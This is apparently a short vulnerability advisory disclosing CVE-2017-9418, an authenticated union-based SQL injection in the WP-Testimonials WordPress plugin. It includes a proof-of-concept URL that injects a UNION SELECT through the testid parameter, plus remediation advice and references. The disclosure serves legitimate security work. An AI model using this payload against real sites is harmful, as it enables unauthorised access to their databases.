WordPress WP-Testimonials SQL Injection

WordPress WP-Testimonials plugin versions prior to 3.4.1 suffer from a remote SQL injection vulnerability.


MD5 | 383a62e4766cc96ba23245d18520432e

# Exploit Title: WP-Testimonials < 3.4.1 Union Based SQL Injection
# Date: 03-06-2017
# Exploit Author: Dimitrios Tsagkarakis
# Website: dtsa.eu
# Software Link: https://en-gb.wordpress.org/plugins/wp-testimonials/
# Vendor Homepage: http://www.sunfrogservices.com/web-programmer/wp-testimonials/
# Version: 3.4.1
# CVE : CVE-2017-9418

# Category: webapps



1. Description:



SQL injection vulnerability in the WP-Testimonials plugin 3.4.1 for
WordPress allows an authenticated user to execute arbitrary SQL commands via
the testid parameter to wp-admin/admin.php.

2. Proof of Concept:

http://[wordpress_site]/wp-admin/admin.php?page=sfstst_manage&mode=sfststedi
t&testid=-1 UNION ALL SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL--
comment

3. Solution:



The plugin has been removed from WordPress. Deactivate the plug-in and wait
for a hotfix.



4. Reference:

http://dtsa.eu/wp-testimonials-wordpress-plugin-v-3-4-1-union-based-sql-inje
ction-sqli/

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9418


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